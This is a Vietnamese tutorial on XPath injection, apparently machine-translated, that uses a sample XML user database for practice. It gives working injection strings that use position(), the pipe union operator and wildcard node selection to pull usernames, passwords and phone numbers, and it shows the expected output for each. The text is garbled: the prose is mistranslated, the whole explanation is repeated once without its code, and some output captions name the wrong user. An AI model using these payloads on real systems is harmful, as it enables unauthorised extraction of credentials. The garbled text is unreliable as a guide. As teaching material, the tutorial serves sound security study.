Trong hướng dẫn này, chúng tôi sẽ thảo luận về cơ bản của XPath tiêm và học hỏi những điều cơ bản của tiêm vào các truy vấn XPath. Truy vấn XPath là quá nhiều như các truy vấn SQL cũng có.

Và các quy tắc của tiêm vào XPath cũng có cùng một truy vấn SQL. Bạn phải chăm sóc đóng đầu vào với trích dẫn một hoặc hai và sau đó nhận xét nếu cần thiết. Để hiểu rõ hơn tôi sẽ sử dụng một tập tin XML để giải thích tất cả các ví dụ trong hướng dẫn này, bạn cũng có thể sử dụng để thực hành Leettime
Theo tôi biết hầu hết các độc giả đang đọc ở đây phải có một số thông tin cơ bản của các truy vấn SQL, vì vậy thay vì bắt đầu từ XPath tôi sẽ cho bạn thấy làm thế nào bạn có thể chỉ đơn giản là liên quan hoặc chuyển đổi một truy vấn SQL vào truy vấn XPath. Dưới đây là một truy vấn SQL cơ bản mà chúng ta đang giải nén các tên người dùng từ một người sử dụng bảng trong cơ sở dữ liệu userdb sử dụng điều kiện về id.
Now lets convert the above query into a XPATH query and see the difference.
Như bạn có thể thấy trong các truy vấn trên, chúng tôi lần đầu tiên xác định con đường và sau đó điều kiện và sau đó những gì chúng tôi muốn trích xuất, yeah của nó đơn giản như vậy. Bây giờ tôi hy vọng bạn có thể hiểu được truy vấn XPath cơ bản. Vì vậy, bây giờ cho phép tiêm các truy vấn trên để liệt kê các tên người dùng của mỗi người dùng từng người một giả định rằng chúng ta không biết người sử dụng id cho mỗi người dùng và chúng tôi muốn kiểm tra tên người dùng của tất cả những người sử dụng sau đó chúng ta có thể sử dụng vị trí () chức năng. Dưới đây là một ví dụ về chức năng vị trí.
Bây giờ cho phép có các truy vấn mà chúng tôi sử dụng trước và bơm nó bằng cách sử dụng chức năng vị trí.
có nghĩa là điều kiện nói hoặc id nên trống rỗng, hoặc có được tên truy cập của người sử dụng đầu tiên, và chúng tôi sẽ có được tên người dùng đầu tiên. Nhưng tiêm này không cho phép chúng ta liệt kê các chi tiết khác như các cột khác trong SQL hoặc XPATH chúng ta có thể nói rằng anh chị em khác. Vậy làm thế nào để có được những anh chị em khác vì đó / tên người dùng 'vào cuối truy vấn làm cho truy vấn của chúng tôi chỉ trích xuất tên người dùng.
Ở đây chúng ta bỏ qua một cho rằng đó là nhân vật đường ống, còn được gọi là công đoàn chọn operater cho XPath. Một operater ống có thể được sử dụng để nối hai báo cáo khác nhau, Vì vậy, những gì sẽ làm là sử dụng ống chúng tôi sẽ tách / một phần tên đăng nhập vào câu lệnh tiếp theo và không có vấn đề bất kỳ đầu ra đi không từ tuyên bố thứ hai, vẫn XPath sẽ cho chúng ta kết quả từ câu lệnh đầu tiên. Điều này có nghĩa là những gì chúng ta cần phải tập trung vào là để chỉ giữ lại tuyên bố đầu tiên của chúng tôi hợp lệ. Vì vậy, chúng ta có thể thực hiện truy vấn của chúng tôi một cái gì đó như thế này.
Bây giờ ví dụ chúng tôi muốn trích xuất các mật khẩu của người dùng bằng cách sử dụng phun trên thì chúng ta chỉ cần đặt tên của cột mật khẩu trên vị trí của các yếu tố đó sẽ cho chúng ta kết quả dưới đây:
Nó thành công sẽ cho chúng ta những mật khẩu nhưng ngay bây giờ chúng tôi chỉ đơn giản cho rằng tên cột mật khẩu là mật khẩu, mà chỉ là một giả định. Nhưng nếu tên cột cho các mật khẩu giống như 'my_pass' sau đó chúng tôi wont có thể giải nén nó. Ở đây chúng ta có thể sử dụng một thủ thuật khác, nếu bạn đọc không biết chọn nút cẩn thận thì bạn có thể biết những gì chúng ta có thể làm. Chúng tôi có thể sử dụng * để chọn một Node không biết hoặc Element, và chúng ta phải xác định những yếu tố chúng ta muốn. Chỉ cần xem ví dụ dưới đây một cách cẩn thận:
Phần màu đỏ trong truy vấn là tiêm của chúng tôi. Theo cách này, chúng ta có thể liệt kê tất cả các anh chị em cho các phần tử đầu tiên bây giờ cho phép thay đổi vị trí () để liệt kê tất cả các giá trị của người sử dụng thứ hai.
Trong cùng một cách thức chúng ta có thể trích xuất các chi tiết cho người sử dụng thứ ba cũng có. Tôi hy vọng bạn thích đọc. Để lại ý kiến của bạn từ có giá và phản hồi xin vui lòng.

Và các quy tắc của tiêm vào XPath cũng có cùng một truy vấn SQL. Bạn phải chăm sóc đóng đầu vào với trích dẫn một hoặc hai và sau đó nhận xét nếu cần thiết. Để hiểu rõ hơn tôi sẽ sử dụng một tập tin XML để giải thích tất cả các ví dụ trong hướng dẫn này, bạn cũng có thể sử dụng để thực hành Leettime
<userdb>
<user>
<name first="Jeff" last="Smiley"/>
<id>1</id>
<username>Jefferson</username>
<password>Jutobi</password>
<phone>123-456-7890</phone>
</user>
<user>
<name first="Chunk" last="MacRunfast"/>
<id>2</id>
<username>Alexandra</username>
<password>securityidiots</password>
<phone>603-478-4115</phone>
</user>
<user>
<name first="Zenodermus" last="Javanicus"/>
<id>3</id>
<username>Zen</username>
<password>@lltogether</password>
<phone>222-222-2222</phone>
</user>
</userdb>
Theo tôi biết hầu hết các độc giả đang đọc ở đây phải có một số thông tin cơ bản của các truy vấn SQL, vì vậy thay vì bắt đầu từ XPath tôi sẽ cho bạn thấy làm thế nào bạn có thể chỉ đơn giản là liên quan hoặc chuyển đổi một truy vấn SQL vào truy vấn XPath. Dưới đây là một truy vấn SQL cơ bản mà chúng ta đang giải nén các tên người dùng từ một người sử dụng bảng trong cơ sở dữ liệu userdb sử dụng điều kiện về id.
select username from userdb.user where id=1
Now lets convert the above query into a XPATH query and see the difference.
/userdb/user[id='1']/username
The above query will extract the username of the user whose id is 1 which is "Jefferson" in the XML File
Như bạn có thể thấy trong các truy vấn trên, chúng tôi lần đầu tiên xác định con đường và sau đó điều kiện và sau đó những gì chúng tôi muốn trích xuất, yeah của nó đơn giản như vậy. Bây giờ tôi hy vọng bạn có thể hiểu được truy vấn XPath cơ bản. Vì vậy, bây giờ cho phép tiêm các truy vấn trên để liệt kê các tên người dùng của mỗi người dùng từng người một giả định rằng chúng ta không biết người sử dụng id cho mỗi người dùng và chúng tôi muốn kiểm tra tên người dùng của tất cả những người sử dụng sau đó chúng ta có thể sử dụng vị trí () chức năng. Dưới đây là một ví dụ về chức năng vị trí.
/userdb/user[position()=1]/username
Will extract the first username which is "Jefferson"
/userdb/user[position()=2]/username
Will extract the first username which is "Alaxandra"
/userdb/user[position()=3]/username
Will extract the first username which is "Zen"
Bây giờ cho phép có các truy vấn mà chúng tôi sử dụng trước và bơm nó bằng cách sử dụng chức năng vị trí.
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1 or ' the the query will become
/userdb/user[id='' or position()=1 or '']/username
Will extract the first username which is "Jefferson"
có nghĩa là điều kiện nói hoặc id nên trống rỗng, hoặc có được tên truy cập của người sử dụng đầu tiên, và chúng tôi sẽ có được tên người dùng đầu tiên. Nhưng tiêm này không cho phép chúng ta liệt kê các chi tiết khác như các cột khác trong SQL hoặc XPATH chúng ta có thể nói rằng anh chị em khác. Vậy làm thế nào để có được những anh chị em khác vì đó / tên người dùng 'vào cuối truy vấn làm cho truy vấn của chúng tôi chỉ trích xuất tên người dùng.
Ở đây chúng ta bỏ qua một cho rằng đó là nhân vật đường ống, còn được gọi là công đoàn chọn operater cho XPath. Một operater ống có thể được sử dụng để nối hai báo cáo khác nhau, Vì vậy, những gì sẽ làm là sử dụng ống chúng tôi sẽ tách / một phần tên đăng nhập vào câu lệnh tiếp theo và không có vấn đề bất kỳ đầu ra đi không từ tuyên bố thứ hai, vẫn XPath sẽ cho chúng ta kết quả từ câu lệnh đầu tiên. Điều này có nghĩa là những gì chúng ta cần phải tập trung vào là để chỉ giữ lại tuyên bố đầu tiên của chúng tôi hợp lệ. Vì vậy, chúng ta có thể thực hiện truy vấn của chúng tôi một cái gì đó như thế này.
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1]/New_Element_name|a[' the the query will become
/userdb/user[id='' or position()=1]/New_Element_name|a['']/username
Bây giờ ví dụ chúng tôi muốn trích xuất các mật khẩu của người dùng bằng cách sử dụng phun trên thì chúng ta chỉ cần đặt tên của cột mật khẩu trên vị trí của các yếu tố đó sẽ cho chúng ta kết quả dưới đây:
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1]/password|a[' the the query will become
/userdb/user[id='' or position()=1]/password|a['']/username
Will extract the first user's password which is "Jutobi"
Nó thành công sẽ cho chúng ta những mật khẩu nhưng ngay bây giờ chúng tôi chỉ đơn giản cho rằng tên cột mật khẩu là mật khẩu, mà chỉ là một giả định. Nhưng nếu tên cột cho các mật khẩu giống như 'my_pass' sau đó chúng tôi wont có thể giải nén nó. Ở đây chúng ta có thể sử dụng một thủ thuật khác, nếu bạn đọc không biết chọn nút cẩn thận thì bạn có thể biết những gì chúng ta có thể làm. Chúng tôi có thể sử dụng * để chọn một Node không biết hoặc Element, và chúng ta phải xác định những yếu tố chúng ta muốn. Chỉ cần xem ví dụ dưới đây một cách cẩn thận:
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1]/*[1]|a[' the the query will become
/userdb/user[id='' or position()=1]/*[1]|a['']/username
It wont Extract anything as the elements are Attributes not Element values
/userdb/user[id='' or position()=1]/*[2]|a['']/username
It will get the Second element for first user which is '1'.
/userdb/user[id='' or position()=1]/*[3]|a['']/username
It will get the third element for first user which is "Jefferson".
/userdb/user[id='' or position()=1]/*[4]|a['']/username
It will get the forth element for first user which is "Jutobi".
/userdb/user[id='' or position()=1]/*[5]|a['']/username
It will get the fifth element for first user which is "123-456-7890".
Phần màu đỏ trong truy vấn là tiêm của chúng tôi. Theo cách này, chúng ta có thể liệt kê tất cả các anh chị em cho các phần tử đầu tiên bây giờ cho phép thay đổi vị trí () để liệt kê tất cả các giá trị của người sử dụng thứ hai.
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=2]/*[1]|a[' the the query will become
/userdb/user[id='' or position()=2]/*[1]|a['']/username
It wont Extract anything as the elements are Attributes not Element values
/userdb/user[id='' or position()=2]/*[2]|a['']/username
It will get the Second element for first user which is '2'.
/userdb/user[id='' or position()=2]/*[3]|a['']/username
It will get the third element for first user which is "Alexandra".
/userdb/user[id='' or position()=2]/*[4]|a['']/username
It will get the forth element for first user which is "securityidiots".
/userdb/user[id='' or position()=2]/*[5]|a['']/username
It will get the fifth element for first user which is "603-478-4115".
Trong cùng một cách thức chúng ta có thể trích xuất các chi tiết cho người sử dụng thứ ba cũng có. Tôi hy vọng bạn thích đọc. Để lại ý kiến của bạn từ có giá và phản hồi xin vui lòng.
Theo Zenodermus Javanicus